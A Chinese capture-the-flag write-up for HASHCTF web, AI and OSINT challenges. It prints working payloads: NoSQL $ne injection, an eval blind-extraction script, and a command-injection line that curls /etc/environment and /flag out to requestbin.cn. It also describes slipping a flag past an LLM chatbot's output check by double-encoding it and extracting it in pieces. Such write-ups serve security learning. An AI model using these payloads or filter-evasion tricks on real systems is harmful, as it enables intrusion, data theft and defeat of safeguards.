HASHCTF WP webbbbb 这鸡汤不十分滴美味 访问后是一个mc主题的交易界面,审计给出的app.js和route.js可以得到大体获得flag的思路 flag在最后一个价值为88绿宝石的商品的回显上 首先获取足够的绿宝石来兑换商品,这里只提供了劫掠码这一种方法,同时还设置了一天只能兑换一次的限制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 router.get ('/raid' , isAuth, async (req, res) => { try { const user = await User .findById (req.user .userId ); if (!user) { return res.render ('error' , { Authenticated : true , message : '用户未登录或没有此用户!' }); } let { raidCode } = req.query ; if (!raidCode) { return res.json ({ success : false , message : '需要劫掠码!' }); } const gain = await RaidCodes .findOne ({raidCode}) if (!gain) { return res.json ({ success : false , message : '劫掠码不存在!难道你忘了带上你的铁锤吗?' }); } const today = new Date (); const lastRedemption = user.lastVoucherRedemption ; if (lastRedemption) { const isSameDay = lastRedemption.getFullYear () === today.getFullYear () && lastRedemption.getMonth () === today.getMonth () && lastRedemption.getDate () === today.getDate (); if (isSameDay) { return res.json ({ success : false , message : '今天已经洗劫过了,绿宝石早被你扫光啦!' }); } } const { Balance } = await User .findById (req.user .userId ).select ('Balance' ); user.Balance = Balance + gain.value ; new Promise (resolve => setTimeout (resolve, delay * 1000 )); user.lastVoucherRedemption = today; await user.save (); return res.json ({ success : true , message : '兑换成功!新的绿宝石余额:' + user.Balance }); } catch (error) { console .error ('Error during raid:' , error); return res.render ('error' , { Authenticated : true , message : '出错了' }); } });
注意到new Promise(resolve => setTimeout(resolve, delay * 1000));这里会有一个2秒的延时,很明显是给我们类似于条件竞争的机会,这里通过并发多条兑换请求来一次性获取足够的绿宝石 然后就是劫掠码的获取了,注意到劫掠码储存在MongoDB中,利用MongoDB重言式注入构造永真式获取绿宝石
raid?raidCode[$ne]=invalid_code 原理:{ raidCode: { $ne: “invalid_code” } } 会匹配所有 raidCode 不为 invalid_code 的文档,返回第一个有效劫掠码。
最后因为是预售,需要在2025-04-21T10:00:00+08:00之后才能兑换,同时还有一个订购日期<2025-04-20T21:00:00+08:00的限制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 router.post ('/store' , isAuth, async (req, res, next) => { const productId = req.body .productId ; const orderAt = req.body .orderAt ; const maxOrderDate = '2025-04-20T21:00:00+08:00' ; if (!productId) { return next ({ message : '参数缺失:productId' }); } try { const all = await Product .find () product = null for (let p of all) { if (p.productId === productId){ product = p } } if (!product) { return next ({ message : '商品不存在' }); } let productCost = parseCost (product.Cost ); const user = await User .findById (req.user .userId ); if (!user) { return next ({ message : '用户不存在' }); } let releaseDate = DateTime .fromJSDate (product.ReleaseDate ); let orderDate = DateTime .fromISO (orderAt); if (!orderDate.isValid ) { return res.json ({ success : false , message : '订购日期无效' }); } if (orderAt > maxOrderDate) { return res.json ({ success : false , message : `订购日期太远了,只能订购${maxOrderDate} 之前的商品` }); } if (orderDate < releaseDate) { return res.json ({ success : false , message : `商品未开售,你可以在${releaseDate.setZone('Asia/Shanghai' ).toISO()} 之后订购` , hint : `当前orderAt的值是:${orderDate.setZone('Asia/Shanghai' ).toISO()} ` }); } if (user.Balance >= productCost) { const transactionId = uuidv4 (); user.Balance -= productCost; await user.save (); const userProduct = new UserProducts ({ transactionId : transactionId, user : user._id , productId : product._id , }); await userProduct.save (); if (!user.ownedproducts .includes (userProduct._id )) { user.ownedproducts .push (userProduct._id ); await user.save (); } const responseData = { success : true , message : `购买成功!剩余绿宝石:${user.Balance} ` , product : { Name : product.Name , Description : product.Description , }, }; if (product.productId === 5 ) { responseData.product .FLAG = product.FLAG ; } return res.json (responseData); } else { return res.json ({success : false , message : '余额不足' }); } } catch (error) { console .error ('Error during product payment:' , error); return res.json ({success : false , message : '购买时出错' }); } });
注意到两个时间的比较方法并不相同,第一个比较为直接比较字符串,第二个才是转换为时间的比较,这里利用字符串比较为逐位比较的特性,所以使用2025-04-20T20:00:00-24:00进行比较
得到flag flask_calc flask框架的计算器网页,一般都是通过eval执行输入的计算式来执行,更高级的可能会根据运算符划分,如TGCTF的熟悉的配方,熟悉的味道,但这里直接就是eval,所以直接尝试命令执行即可,有一定的过滤,同时回显只能是整数,这让我立刻想到了布尔盲注,尝试绕过过滤编写脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport stringimport base64sql=string.ascii_lowercase+string.ascii_uppercase+string.digits+'-' +"{}" url="http://10.102.32.141:35549/calculate" flag='' for i in range (0 ,100 ): for j in sql: data={"expression" :"list(open('/flag'))[0][" +str (i)+"]=='" +j+"'" } html=requests.post(url=url,json=data) if ":1" in html.text: flag+=j print (flag)
这里read被过滤,所以使用list分别逐位比较,得到flag flask_calc_revenge 给了源码,同时加上了过滤和加密操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from flask import Flask, jsonify, request,render_templateimport osimport base64app = Flask(__name__) def update_shell_config (env_key, random_value ): system_config = "/etc/environment" if os.getuid() != 0 : return encoded_value = base64.b64encode(random_value).decode() with open (system_config, "r" ) as f: lines = f.readlines() new_lines = [] found = False for line in lines: stripped_line = line.strip() if stripped_line.startswith(f"{env_key} =" ): new_lines.append(f'{env_key} ="{encoded_value} "\n' ) found = True else : new_lines.append(line) if not found: new_lines.append(f'{env_key} ="{encoded_value} "\n' ) with open (system_config, "w" ) as f: f.writelines(new_lines) os.system(f'export {env_key} ="{encoded_value} "' ) def update_flag (): with open ("/flag" , "r" ) as f: flag_str = f.read().encode() def xor_encrypt (data: bytes , key: bytes ) -> bytes : return bytes ([data[i] ^ key[i % len (key)] for i in range (len (data))]) while True : try : key = os.urandom(len (flag_str)) encrypted_flag = xor_encrypt(flag_str, key) with open ("/flag" , "w" ) as f: f.write(encrypted_flag.hex ()) update_shell_config('CALC_KEY' ,key) yield True except : yield False flag_guard = update_flag() @app.route('/' ,methods=['GET' ,'POST' ] ) def index (): return render_template('index.html' ) @app.route('/calculate' ,methods=['GET' ,'POST' ] ) def calculate (): if not next (flag_guard): exit(-1 ) data = request.get_json() expression = data.get('expression' , '' ) blacklist = [] for black in blacklist: if black in expression: return "Hack!!!" try : result = eval (expression) result = int (result) return jsonify({"result" : result}) except Exception as e: return jsonify({"Error" : "error" }), 400 if __name__ == "__main__" : app.run(debug=False )
注意这里的加密操作是访问一次加密一次,一次一密,要在盲注了,注了半天才注意到 然后就是过滤的更多了,简单fuzz了一下写在代码里面 然后就是想办法绕过了,这里利用字符串字面量隐式拼接进行绕过,同时因为不能再盲注了,改为外带数据,同时注意外带数据也要把加密后的flag和秘钥一次性获得 {"expression":"__import__('o''s').__dict__['s''y''s''t''e''m']('c''u''rl'' ''ht''tp://requestbin.cn:80/1glvj5r1''?f=$(ca''t'' ''/etc/e''nvironment)$(ca''t'' ''/fl''ag)')"}
获取到加密后的flag和秘钥后编写一个逐字节异或解密的脚本解密即可 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import base64def xor_decrypt (encrypted_data: bytes , key: bytes ) -> bytes : return bytes ([encrypted_data[i] ^ key[i % len (key)] for i in range (len (encrypted_data))]) encrypted_hex = "618d0fe133a43318f9611afb2cceb18ab43a4e54b921b0c63cd6a47e003dade17626d0126a1289a4bb7dd6d1b74a" encoded_key = "KcxcqXDwdWPIAnvJSf2DuZlcL2XdDITwDuCJH2IOmcwQErEnUyqxkoxFt7TKQA==" encrypted_bytes = bytes .fromhex(encrypted_hex) key_bytes = base64.b64decode(encoded_key) decrypted = xor_decrypt(encrypted_bytes, key_bytes) print ("Decrypted Flag:" , decrypted.decode())
获得flag Proxy Eater 给了源码,大体意思就是先由go语言的第一个端口处理数据,再传给第二个flask端口 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package mainimport ( "bytes" "encoding/json" "io" "os" "log" "net/http" ) type RequestData struct { Option string `json:"option"` } func homeHandler (w http.ResponseWriter, r *http.Request) { html, err := os.ReadFile("templates/index.html" ) if err != nil { http.Error(w, "Failed to load page" , http.StatusInternalServerError) return } w.Header().Set("Content-Type" , "text/html" ) w.Write([]byte (html)) } func executeHandler (w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Invalid request method" , http.StatusMethodNotAllowed) return } body, err := io.ReadAll(r.Body) if err != nil { http.Error(w, "Failed to read request body" , http.StatusBadRequest) return } var requestData RequestData if err := json.Unmarshal(body, &requestData); err != nil { http.Error(w, "Invalid JSON" , http.StatusBadRequest) return } switch requestData.Option { case "getgopher" : resp, err := http.Post("http://flask-app:3001/execute" , "application/json" , bytes.NewBuffer(body)) if err != nil { log.Printf("Failed to reach Python API: %v" , err) http.Error(w, "Failed to reach Python API" , http.StatusInternalServerError) return } defer resp.Body.Close() responseBody, _ := io.ReadAll(resp.Body) w.WriteHeader(resp.StatusCode) w.Write(responseBody) case "read" : w.Write([]byte ("Access denied: You are not an admin." )) case "vuln" : w.Write([]byte ("Access denied: You are not an admin." )) default : http.Error(w, "Invalid option" , http.StatusBadRequest) } } func main () { http.HandleFunc("/" , homeHandler) http.HandleFunc("/execute" , executeHandler) http.Handle("/static/" , http.StripPrefix("/static/" , http.FileServer(http.Dir("static" )))) log.Println("Server running on http://localhost:3000" ) log.Fatal(http.ListenAndServe(":3000" , nil )) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from flask import Flask, request, jsonifyimport randomimport osimport uuidapp = Flask(__name__) GO_HAMSTER_IMAGES = [ { "name" : "boring gopher" , "src" : "/static/img/boring_gopher.png" }, { "name" : "gopher plush" , "src" : "/static/img/gopher_plush.jpg" }, { "name" : "fairy gopher" , "src" : "/static/img/fairy_gopher.png" }, { "name" : "scientist gopher" , "src" : "/static/img/scientist_gopher.png" }, { "name" : "three gopher" , "src" : "/static/img/three_gopher.jpg" }, { "name" : "hyperrealistic gopher" , "src" : "/static/img/hyperrealistic_gopher.jpg" }, { "name" : "flyer gopher" , "src" : "/static/img/flyer_gopher.jpg" } ] @app.route('/execute' , methods=['POST' ] ) def execute (): if not request.is_json: return jsonify({"error" : "Invalid JSON" }), 400 data = request.get_json() option = data.get('option' ) if not option: return jsonify({"error" : "Parameter 'option' is required" }), 400 if option == 'getgopher' : gopher = random.choice(GO_HAMSTER_IMAGES) return jsonify(gopher) elif option == 'read' : filename = data.get('filename' ) if not filename: return jsonify({"error" : "Parameter 'filename' is required" }), 400 try : with open (filename, 'r' ) as f: return jsonify({"res" : f.read()}) except FileNotFoundError: return jsonify({"error" : "File not found" }), 400 except PermissionError: return jsonify({"error" : "Permisson denied" }), 400 except Exception as e: return jsonify({"error" : "Error" }), 400 elif option == 'vuln' : filename = data.get('filename' ) if not filename: return jsonify({"error" : "Parameter 'filename' is required" }), 400 directory = '/tmp/' + uuid.uuid4().hex flag = os.getenv("FLAG" , "HASHCTF{test_flag}" ) try : os.makedirs(directory, exist_ok=True ) with open (os.path.join(directory, filename), 'w' ) as f: f.write(flag) os.system(f"rm {directory} /*" ) except Exception as e: return jsonify({"error" : "Error" }), 400 return jsonify({"res" : directory}) else : return jsonify({"error" : "Invalid option" }), 400 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=3001 , debug=True )
注意到go代码的分支判断变量为Option,app.py的分支判断变量为option,所以传入两个变量分别对应两个选择即可 然后就是分析app.py的read和vuln分支了,read就是读文件,这里flag在环境变量里面,读取一下/etc/environment,没有得到flag,很明显就是要利用vuln分支了 vuln分支就是将flag写入一个随机生成的路径并删除,这种很明显是条件竞争,但是问题是路径是随机生成的,并且是先删除再回显路径,所以肯定不能直接条件竞争,这里利用路径穿越,在filename参数中加入../将文件转入tmp目录,这样就可以进行条件竞争了,拿两个BP一个反复进行读,一个反复进行写即可
获得flag
AI HASHChatBot 给了源码,有一个LLM函数进行二次输出检测,所以要进行编码输出,同时简单的base64编码等因为LLM函数的第二条也变得不好用,所以这里进行二次编码的同时分段读取flag
然后手动解码拼接,注意,ai可能会出错,同时会输出很多重复数据,要人工甄别,多尝试几次后得到正确的flag
HASHCTF{Y0U_kN0W_how_Ilm_w0Rks_05bdcee434df}
OSINT signin 图中有极动体育馆,找到旁边有河的即可
HASHCTF{dongshengluxinkaihe}
misc 问卷 略我是web苦手o(╥﹏╥)o
[!CAUTION]
喵喵喵~~~~~~·~~~~~~ 我是快乐滴满喵喵
[!WARNING]
啵啵啵 我是快乐滴满鱼鱼
[!IMPORTANT]
此文档已被篡改
[!TIP]
社工
[!NOTE]
无
———————hacker留